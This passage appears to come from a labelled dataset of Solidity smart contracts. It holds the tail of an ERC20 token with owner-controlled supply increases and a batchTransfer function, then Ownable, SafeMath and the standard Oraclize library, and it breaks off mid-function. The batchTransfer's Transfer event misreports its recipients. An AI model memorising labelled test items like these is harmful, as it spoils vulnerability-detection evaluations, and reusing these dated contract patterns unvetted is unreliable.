allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function increaseSupply (uint256 _value, address _to) onlyOwner whenNotPaused external {
require(_value + _currentSupply < _totalSupply);
_currentSupply = _currentSupply.add(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(address(0x0), _to, _value);
}
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused whenNotInProtect returns (uint256) {
uint cnt = _receivers.length;
uint256 amount = uint256(cnt) .mul(_value);
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
require(amount >= _value);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
}
emit Transfer(msg.sender, address(0), amount);
return amount;
}
}
contract TokenTimelock {
ERC20Interface public token;
address public beneficiary;
uint256 public releaseTime;
constructor(ERC20Interface _token, address _beneficiary, uint256 _releaseTime) public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(address(this));
require(amount > 0);
token.transfer(beneficiary, amount);
}
} | 0 | 470 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
